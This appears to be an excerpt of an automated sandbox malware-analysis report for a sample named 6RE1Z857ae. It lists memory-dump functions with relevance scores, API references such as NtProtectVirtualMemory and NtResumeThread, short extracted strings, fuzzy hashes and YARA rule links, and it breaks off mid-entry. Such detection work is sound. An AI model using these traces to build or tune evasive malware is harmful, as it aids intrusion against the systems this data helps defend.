Opcode ID: 671d5cf721b700463fbe8c0ce2d9e13643575e512dd09161d04110d5e3989682
Instruction ID: 869c469fbea86c3a394624d0506eb84131d512ee36b0cf462d5ee0b707320446
Opcode Fuzzy Hash: 671d5cf721b700463fbe8c0ce2d9e13643575e512dd09161d04110d5e3989682
Instruction Fuzzy Hash: EAF10770E85229CFEB64DF69C994BADB7F2BB49304F1080AAD40DAB255D7709E85CF40

Function 06B6FE28 Relevance: 1.6, APIs: 1, Instructions: 72nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06B6FEB9

Memory Dump Source

Source File: 00000000.00000002.2215212929.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_6RE1Z857ae.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 2fa422028f3229bc6598900d5cf5fb8d9556926e48059b500caad4fb4a892f32
Instruction ID: d36e9c0ee1b0719f9523c56fc3048a5e69c88639a922c2900b32c3958606f7f0
Opcode Fuzzy Hash: 2fa422028f3229bc6598900d5cf5fb8d9556926e48059b500caad4fb4a892f32
Instruction Fuzzy Hash: A92106B5D01349AFCB10DFAAD984AEEFBF5FF48310F10841AE519A3210C739A944CBA0

Function 06B6FE30 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 06B6FEB9

Memory Dump Source

Source File: 00000000.00000002.2215212929.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_6RE1Z857ae.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 9f6d97277965171d24aa4e30512d75a033644cc1b91917c80bf268e2c3b0d3f8
Instruction ID: a3382e16e6b967ad8df5b78cc4d31f6abbdd41352a248309df300d7abee19372
Opcode Fuzzy Hash: 9f6d97277965171d24aa4e30512d75a033644cc1b91917c80bf268e2c3b0d3f8
Instruction Fuzzy Hash: 9D21E6B1D013499FCB10DFAAD984AEEFBF5FF48310F10842AE519A7250C7799944CBA0

Function 05F30EF2 Relevance: 1.6, APIs: 1, Instructions: 56nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05F30F66

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a7bba249243a36bf0c185ce616c6a1ee8124304bb09142d0344899e22abb2132
Instruction ID: 2103d092fce89e78c5934b71dbce4f4a4d0e192646da78177cdad7d3af077b80
Opcode Fuzzy Hash: a7bba249243a36bf0c185ce616c6a1ee8124304bb09142d0344899e22abb2132
Instruction Fuzzy Hash: A11106B5D042089FDB10DFAAC445AAEFBF8EF88710F50842AD419A7250CB78A945CFA1

Function 05F30EF8 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05F30F66

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: be1c428d812a02b45dc462ebb00f262ff40d270ccefdc708ee09a6012c2adfc0
Instruction ID: 35fd0aca8322cb709f6af08f78c1a5d16a50ad23398e8a8ce65c2ef0251679ed
Opcode Fuzzy Hash: be1c428d812a02b45dc462ebb00f262ff40d270ccefdc708ee09a6012c2adfc0
Instruction Fuzzy Hash: 711117B1D042088FDB10DFAAC4456AEFBF8FF48710F50842AD419A7240CB78A944CFA1

Function 06A27CA0 Relevance: 1.5, Strings: 1, Instructions: 278COMMON

Download Yara Rule

Strings

Tejq, xrefs: 06A27E83

Memory Dump Source

Source File: 00000000.00000002.2214735221.0000000006A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a20000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: fcec3e00e5fab42dbb33663651afa69b25ae6266a1314ed4b5106f962ff85e74
Instruction ID: dc0776cc4ecdf486c76198b703f41da81eea170e538bcd2dd53718ff89db81e9
Opcode Fuzzy Hash: fcec3e00e5fab42dbb33663651afa69b25ae6266a1314ed4b5106f962ff85e74
Instruction Fuzzy Hash: 51C13670D45229CFDB54EFA9D984BADBBF2BF89304F108069D409AB255DB709A81CF40

Function 06B69008 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

PHjq, xrefs: 06B692D9

Memory Dump Source

Source File: 00000000.00000002.2215212929.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: PHjq
API String ID: 0-751881793
Opcode ID: 0fcc90be0a976b23ae00861d9a8fe84c552941b93650d925a9f01ec3ae942630
Instruction ID: 09ac5fe2699b82ac57c9a52d0cfd5094a9897352ac7a3270508c5aea3da73a4b
Opcode Fuzzy Hash: 0fcc90be0a976b23ae00861d9a8fe84c552941b93650d925a9f01ec3ae942630
Instruction Fuzzy Hash: 59C11AB0D05219CFEB64DFAAC988BADBBB5FF49304F1090A9E40DAB255D7784985CF40

Function 06B68FF8 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

PHjq, xrefs: 06B692D9

Memory Dump Source

Source File: 00000000.00000002.2215212929.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: PHjq
API String ID: 0-751881793
Opcode ID: b838f926f836c21de6c0f48cdeab52ba21fa3ce5963b12dc79e9b5f33231f70e
Instruction ID: 1b9fc83d280e2b2089f77ccbe4f09880e1103eb3b0603c6e4dfbf58dd5155622
Opcode Fuzzy Hash: b838f926f836c21de6c0f48cdeab52ba21fa3ce5963b12dc79e9b5f33231f70e
Instruction Fuzzy Hash: 84B10BB0D05219CFEB64DFAAD988BADBBF1FF49304F1090A9E409AB255D7784985CF40

Function 06A10006 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

Tejq, xrefs: 06A100CE

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: f0e917fc520089c7ccdea8afe73f539a8a3060b89bab3816b7307db5121d74b8
Instruction ID: 82027f7ddc3b932a1d2f7d627f5503901c634d2d6c34dc9d9bcd337d971ef466
Opcode Fuzzy Hash: f0e917fc520089c7ccdea8afe73f539a8a3060b89bab3816b7307db5121d74b8
Instruction Fuzzy Hash: 26B11274E05258CFEB54DFA9C984B9DBBF2BB8A304F1480AAD408EB355DB745986CF10

Function 05F34D7F Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 123f966a725f5b6f3a629c73fa8cab4850a9408f744fbd2a0319aec6f164652a
Instruction ID: bb7ba0424c08941b4801d1e6dce6fad08c635fed5ce57969dc56a03c9f9aad1e
Opcode Fuzzy Hash: 123f966a725f5b6f3a629c73fa8cab4850a9408f744fbd2a0319aec6f164652a
Instruction Fuzzy Hash: 14E12574E05218CFEB64DF68D858BADBBB2BB89304F1081AAD40DAB355DB349D85CF50

Function 05F3A1C8 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0604ed62e173b46f1af3cd3d80e45cb09210c96dd45cb8da420b67466795fe1
Instruction ID: 33c4ae022580e679163fd8be5794651726905cbecb617da24d345b95e5c56347
Opcode Fuzzy Hash: a0604ed62e173b46f1af3cd3d80e45cb09210c96dd45cb8da420b67466795fe1
Instruction Fuzzy Hash: 01B10370E05218CFEB54CFAAD949BADBBF2BF49304F10816AD489AB355D7399985CF00

Function 05F3A1B9 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04b4950bdf86b18641f6dfa701962f8e843a0fc8c62aca7afce0ffe6eb43d341
Instruction ID: 01f864479feede0b52238d736d76f877f176c93935979900d0da5b7acf86a2eb
Opcode Fuzzy Hash: 04b4950bdf86b18641f6dfa701962f8e843a0fc8c62aca7afce0ffe6eb43d341
Instruction Fuzzy Hash: 22B1F470E01218CFEB14CFAAD949BADBBF2BF49304F10816AD489AB355E7359985CF00

Function 05F3C168 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d768524d703c3af658371e014c0f35409f24a56e7dee2550f1082a7a6263df0b
Instruction ID: d5942c2d634863650725057660f95b61ef425a3f22caf38c5a70c09e8c94245f
Opcode Fuzzy Hash: d768524d703c3af658371e014c0f35409f24a56e7dee2550f1082a7a6263df0b
Instruction Fuzzy Hash: 4CB13370E05218CFEB54EFA9D894BADBBB2BF89304F1080A9D519BB254DB349D85CF00

Function 05F3C178 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2212203066.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a297d9d1b297853ca42ad189b00c280e71eb417d98456e966df7d46f2c5cba2
Instruction ID: 7118797d7b39fd615b3a028cd9085fcc6145132f033a6363a9c94cdd9dcbdbac
Opcode Fuzzy Hash: 4a297d9d1b297853ca42ad189b00c280e71eb417d98456e966df7d46f2c5cba2
Instruction Fuzzy Hash: D3B13370E05218CFEB54EFA9D895BADBBB2BF49304F1080A9D519BB254DB349D81CF40

Function 06A26FAA Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214735221.0000000006A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a20000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc1df9b081f346c304241776c8ee4f6c6a8af1d3753b549c9a4b93a84c681b32
Instruction ID: 7b3244b6d860d19bf3a5207968dda8fab54b211cdf4947cb2926e0c7193a8c29
Opcode Fuzzy Hash: cc1df9b081f346c304241776c8ee4f6c6a8af1d3753b549c9a4b93a84c681b32
Instruction Fuzzy Hash: FCB14A70D45229CFEB54DF6AD954B9DBBF2BF89304F1090AAD40CAB251DB709A85CF40

Function 06A26FB8 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214735221.0000000006A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a20000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7633e2258ee818630dd0f32acca22aa93bbf65fe25efe6fa20f78f604b99b914
Instruction ID: 57af56b0b267a01dfcff22747ef9a28435fb9fded43383c61ac4e7d21cd6f62a
Opcode Fuzzy Hash: 7633e2258ee818630dd0f32acca22aa93bbf65fe25efe6fa20f78f604b99b914
Instruction Fuzzy Hash: 24A12A70D45229CFEB64DF6AD954BADBBF2BF49304F1080AAD40CAB251DB719A85CF40

Function 06BF0F40 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2215530306.0000000006BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BA0000, based on PE: true

Associated: 00000000.00000002.2215324588.0000000006BA0000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ba0000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc03d3725e436ed0071007c4f27d8ffcca330d1140bdabee5ec4ead04efd79e1
Instruction ID: 24b3c83b530ce73f8384c50972a91ef74a76aeaaf952f7a33c2bc4498c4984a6
Opcode Fuzzy Hash: dc03d3725e436ed0071007c4f27d8ffcca330d1140bdabee5ec4ead04efd79e1
Instruction Fuzzy Hash: FF818BB0D10208CFDB94EFA8D894BEDBBF2FB49305F5051A9D509AB2A5C774984ACF44

Function 06A27322 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214735221.0000000006A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a20000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb247c29852fa4216285b55733c9e7d754f060bf00ec35f92932689d631a595f
Instruction ID: 834d326107a982c833e4b0318dc5d6235b9e25e3a5a2ec88cf06102f8cd5c295
Opcode Fuzzy Hash: bb247c29852fa4216285b55733c9e7d754f060bf00ec35f92932689d631a595f
Instruction Fuzzy Hash: 44910970E44229CFEB64DF6AD994B9DBBF2BF49304F1090A9D11CAB250DB709A85CF00

Function 06A270DE Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2214735221.0000000006A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a20000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f020983004c4a8b69192b817944a64e9ae8026acf7d23704815d6cf19dcbda2e
Instruction ID: d8f971dd30e4860a51b9194541612ef018bf75c6498fccf9b7ddfa28ddbd2ff5
Opcode Fuzzy Hash: f020983004c4a8b69192b817944a64e9ae8026acf7d23704815d6cf19dcbda2e
Instruction Fuzzy Hash: 67910770E45229CFEB64DF69D994BADBBF2BF49304F1090A9D41CAB250DB709A85CF40

Function 06B66C80 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2215212929.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbb1ab67c23d7c4e444bd6bd385e2e7a4f68f814f27d7f6f014e567bb02265a7
Instruction ID: 093e7aacb15e032ee65048a75008b88f9a274d65b5d2fcf0763b3e8a7da5ca08
Opcode Fuzzy Hash: dbb1ab67c23d7c4e444bd6bd385e2e7a4f68f814f27d7f6f014e567bb02265a7
Instruction Fuzzy Hash: 7C5165B0D05208CFDB54CFAAD5987EDBBF2FB49304F205169E509AB250E7789946CB81

Function 06B66C90 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2215212929.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a97857b581f564f903f497e73025cd87d510f46b448699fd4f106b339831531e
Instruction ID: b08797d43b1e0c445e3a2136e95ee0a27a9bee613606b6d15da7d990f7b257fe
Opcode Fuzzy Hash: a97857b581f564f903f497e73025cd87d510f46b448699fd4f106b339831531e
Instruction Fuzzy Hash: 665153B0D05218CFDB94CFAAD5587ADBBF2FB49308F205069E509AB254E378AD45CB81

Function 06A19068 Relevance: 4.2, Strings: 3, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hnq, xrefs: 06A1953D
Hnq, xrefs: 06A195BC
Hnq, xrefs: 06A1956C

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: Hnq$Hnq$Hnq
API String ID: 0-1699790779
Opcode ID: 83738fdfb3895a1ce707d44fb198657a7e112de62516d1878df08fec9bb802ea
Instruction ID: 7159317c422a7399d6d6fe0a8e6b9d5517a79b56677aaf30a8e86c206d0514da
Opcode Fuzzy Hash: 83738fdfb3895a1ce707d44fb198657a7e112de62516d1878df08fec9bb802ea
Instruction Fuzzy Hash: 2B126A30A006048FCB64EFA5D994A6EBBF6FF88300F15852DD51A9F794DB35E846CB90

Function 06A1F46F Relevance: 4.1, Strings: 3, Instructions: 374
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 06A1F5A9
(nq, xrefs: 06A1F5D5
Hnq, xrefs: 06A1F601

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: (nq$(nq$Hnq
API String ID: 0-1151833592
Opcode ID: 563de423890753eed7eee47ae0d81ae83404f80b194618dce3f90ea01fbdf774
Instruction ID: 4a3c666a973800f8e2ea76563538f2f94ba54812b7e97a7dfc73e5e52a92d5fa
Opcode Fuzzy Hash: 563de423890753eed7eee47ae0d81ae83404f80b194618dce3f90ea01fbdf774
Instruction Fuzzy Hash: 60F16334A01209DFCB44EFA4D99499EBBF2FF89310F118569E5169B365DB30EC46CB90

Function 06A1AE98 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 06A1B191
4'jq, xrefs: 06A1B211
4'jq, xrefs: 06A1B0B2

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq
API String ID: 0-3078559419
Opcode ID: 0e31fc6bc585477f54edbf57d21bc7c6831cb2529475714b0b1f93ba0e531c66
Instruction ID: 865ea98f1f1cc0ed3a4d85a5bf54ee44ffc5700195c36f9c9b9e11366d6e6c80
Opcode Fuzzy Hash: 0e31fc6bc585477f54edbf57d21bc7c6831cb2529475714b0b1f93ba0e531c66
Instruction Fuzzy Hash: 24F1DA34A11218DFCB44EFA4D994E9DB7B2FF88700F158159E906AB3A5DB71EC42CB90

Function 069C0D98 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4'jq, xrefs: 069C1549
4'jq, xrefs: 069C1559

Memory Dump Source

Source File: 00000000.00000002.2214400662.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_69c0000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 8b0ce8b00cedb4425ce13b3ae101d8f6f000c9230c992abf2a14c80f05908bef
Instruction ID: 3d05775e8fd019b9569b3e2ef97f354d4704a8bc93113e0ad71195e0b8d56e03
Opcode Fuzzy Hash: 8b0ce8b00cedb4425ce13b3ae101d8f6f000c9230c992abf2a14c80f05908bef
Instruction Fuzzy Hash: 6742F534E04209CFDB58CB98D558AAEBBB6FF48314F20841DD912A7695C7349D82CF9A

Function 06A15588 Relevance: 3.0, Strings: 2, Instructions: 516
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 06A158F3
$jq, xrefs: 06A15903

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: $jq$$jq
API String ID: 0-3720491408
Opcode ID: 28f5969a9468ce2a8e34a378dcb10e1e9301e5506c76fa7895558511b4b0b40f
Instruction ID: c8eea009e0fd47536b75b399a8894b22a5025277877653cacb7a4f405f7547d8
Opcode Fuzzy Hash: 28f5969a9468ce2a8e34a378dcb10e1e9301e5506c76fa7895558511b4b0b40f
Instruction Fuzzy Hash: 07228C71E00219DFCF55EFA4C9A4AAEBBB6BF88300F158415E911AF395DB349942CF90

Function 069C18C0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 069C1D66
4'jq, xrefs: 069C1D56

Memory Dump Source

Source File: 00000000.00000002.2214400662.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_69c0000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: e341e9e58f9ece35d3bef89d37675253444891e7abb32cdee9fa07c49cf9263d
Instruction ID: ade2b4807f9b888b10796a8c8859352ecb0fad744c5d19865fac45bd05b562f4
Opcode Fuzzy Hash: e341e9e58f9ece35d3bef89d37675253444891e7abb32cdee9fa07c49cf9263d
Instruction Fuzzy Hash: 77F1EE34E05208DFCB68DFA4E4986ACBBB6FF89321F60842DE416A7395DB345981CF45

Function 06A18B20 Relevance: 2.8, Strings: 2, Instructions: 343
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 06A18D81
(nq, xrefs: 06A18B34

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: (nq$d
API String ID: 0-2356140993
Opcode ID: d74db1d8222dac2bf4272f291f609999a5286ae6a00d392b2dff34320d8d5d54
Instruction ID: 7f9bb4aa6cc86207658f75a33b00faaf9cee2c4b36612bd995dbbd1585b1d2a8
Opcode Fuzzy Hash: d74db1d8222dac2bf4272f291f609999a5286ae6a00d392b2dff34320d8d5d54
Instruction Fuzzy Hash: 60D18930600602CFCB14EF29C58496ABBF6FF89310B158A69D55A8F7A5DB34FC41CB90

Function 069C2490 Relevance: 2.8, Strings: 2, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 069C281F
4'jq, xrefs: 069C280F

Memory Dump Source

Source File: 00000000.00000002.2214400662.00000000069C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_69c0000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 6cf4c1fd1d9992ea0af8ba731d89b092b435c7af7bc56dfd71a86449db09ed83
Instruction ID: b2185067ad0ed10773cb5199e7dbe8181bff4059539d93a531506097bc37d924
Opcode Fuzzy Hash: 6cf4c1fd1d9992ea0af8ba731d89b092b435c7af7bc56dfd71a86449db09ed83
Instruction Fuzzy Hash: D4C10334E04219CFDB58DFA5C5946ADBBB2FF88310F20842DD512AB695CB356E82CF91

Function 06A14BA2 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 06A14CB6
Hnq, xrefs: 06A14D45

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: (nq$Hnq
API String ID: 0-3116299003
Opcode ID: 90e9b7a72bd6ee237b7f248442586a02692b624044e16c74a8686e74053be60b
Instruction ID: e22261c9b396d0413b9827ce0a7a1afffc1913245ec8655edfec38211a9fa8ac
Opcode Fuzzy Hash: 90e9b7a72bd6ee237b7f248442586a02692b624044e16c74a8686e74053be60b
Instruction Fuzzy Hash: 17519834B043008FCB99AB78D86866E7BE6EF89310B1544ACD5068F7A5CF31EC06CB91

Function 06A116C7 Relevance: 2.7, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hnq, xrefs: 06A1183C
(nq, xrefs: 06A11810

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: (nq$Hnq
API String ID: 0-3116299003
Opcode ID: 3b09e515df82a8f5118006b8be675a188ce11933d183c9ced6f178a9addbec01
Instruction ID: 528f88781adaddd628682c15768ecba597a446bb94018c3b482ce8909ead8e78
Opcode Fuzzy Hash: 3b09e515df82a8f5118006b8be675a188ce11933d183c9ced6f178a9addbec01
Instruction Fuzzy Hash: B65121302047408FD369EF3AD45035B7BE6EF84310F148A6AD19A8F7A1DB34D809CBA1

Function 06A17160 Relevance: 2.6, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 06A172CB
(nq, xrefs: 06A17274

Memory Dump Source

Source File: 00000000.00000002.2214677539.0000000006A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a10000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: (nq$(nq
API String ID: 0-2974481825
Opcode ID: 2b50fd880f5dfcc81eb4c77e3fc3fd1a35e506cb4eb1f74745738cbdb3726d0b
Instruction ID: f65b330b55d1fecc982dd101466c3d278d23ec4db8334c28495d6f3ee412d269
Opcode Fuzzy Hash: 2b50fd880f5dfcc81eb4c77e3fc3fd1a35e506cb4eb1f74745738cbdb3726d0b
Instruction Fuzzy Hash: BA51AD317042058FDB59AF68D854AAE3BA6FF88314F154569E806CF2A5CF34DC46CB91

Function 06A230F1 Relevance: 2.5, Strings: 2, Instructions: 29COMMON

Download Yara Rule

Strings

#, xrefs: 06A23172
e, xrefs: 06A23146

Memory Dump Source

Source File: 00000000.00000002.2214735221.0000000006A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a20000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: #$e
API String ID: 0-159012314
Opcode ID: a27f69c74d1f61a4afd5d0bfe643a667e5e70d18100843d8eb0cb5e5545619f0
Instruction ID: 2520339a8566206bc7f7319f16b1f825b161b9dc01f8b3f7cccd135b7ada5667
Opcode Fuzzy Hash: a27f69c74d1f61a4afd5d0bfe643a667e5e70d18100843d8eb0cb5e5545619f0
Instruction Fuzzy Hash: 3201AA789512298FDBA6EF28C898A9CBBBAFB08310F5051D9D909A7250C7346F80CF54

Function 06A29BDF Relevance: 2.5, Strings: 2, Instructions: 25COMMON

Download Yara Rule

Strings

k, xrefs: 06A29BEA
1, xrefs: 06A287EC

Memory Dump Source

Source File: 00000000.00000002.2214735221.0000000006A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a20000_6RE1Z857ae.jbxd

Similarity

API ID:
String ID: 1$k
API String ID: 0-4049604547
Opcode ID: 02651583b1bd51bb56a3cb1c8a96cc6907b340812998069b00f6be90395b26bd
Instruction ID: bcb57d2969a39eb9cdd40eca19828ec633a1b8bba134afbfb26899b56cae75db
